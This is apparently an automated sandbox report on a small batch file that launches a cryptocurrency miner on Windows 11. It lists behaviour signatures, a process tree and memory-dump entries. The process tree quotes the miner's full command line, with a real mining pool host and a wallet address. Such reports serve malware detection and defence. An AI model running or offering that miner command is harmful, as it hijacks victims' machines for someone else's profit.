Analysis

  • max time kernel
    900s
  • max time network
    889s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/10/2026, 16:07

General

  • Target
    amz(Copy 23).bat
  • Size 144B
  • Sample261009-tknefabs8x
  • SHA256 a8492870164796ca0a31571503d8bae46236df249f2581e968bd6edc9cbc9014
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • UPX packed file 58 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\amz(Copy 23).bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Users\Admin\AppData\Local\Temp\zrplant.exe
      zrplant.exe -a minotaurx -o stratum+tcp://minotaurx.eu.mine.zpool.ca:7019 -u dgb1qs6n8mf8rwerfd872awwyp3pmy5uuv80gwg7z0m -p c=DGB,zap=MAZA -t 4
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1584
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2332
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4200
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:4332
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4076
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4008
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:5784

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH

            memory/1584-31-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-34-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-32-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-3-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-4-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-5-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-6-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-7-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-8-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-9-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-10-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-11-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-12-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-13-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-14-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-15-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-16-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-17-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-18-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-19-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-20-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-21-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-22-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-23-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-24-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-25-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-26-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-27-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-28-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-29-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-30-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-0-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-2-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-1-0x0000013B05B60000-0x0000013B05B80000-memory.dmp

            memory/1584-41-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-35-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-36-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-37-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-38-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-39-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-40-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-33-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-42-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-43-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-45-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-225-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-226-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-227-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-228-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-239-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-238-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-237-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-229-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-231-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-232-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-233-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-234-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-235-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/1584-236-0x00007FF7CBE20000-0x00007FF7CC5CD000-memory.dmp

            memory/4076-112-0x00000259142F0000-0x0000025914310000-memory.dmp

            memory/4076-68-0x00000259001E0000-0x00000259002E0000-memory.dmp

            memory/4076-67-0x00000259001E0000-0x00000259002E0000-memory.dmp

            memory/4076-66-0x00000259001E0000-0x00000259002E0000-memory.dmp

            memory/4076-73-0x0000025902E20000-0x0000025902F20000-memory.dmp

            memory/4076-85-0x0000025902B80000-0x0000025902BA0000-memory.dmp

            memory/4076-72-0x0000025902A20000-0x0000025902A40000-memory.dmp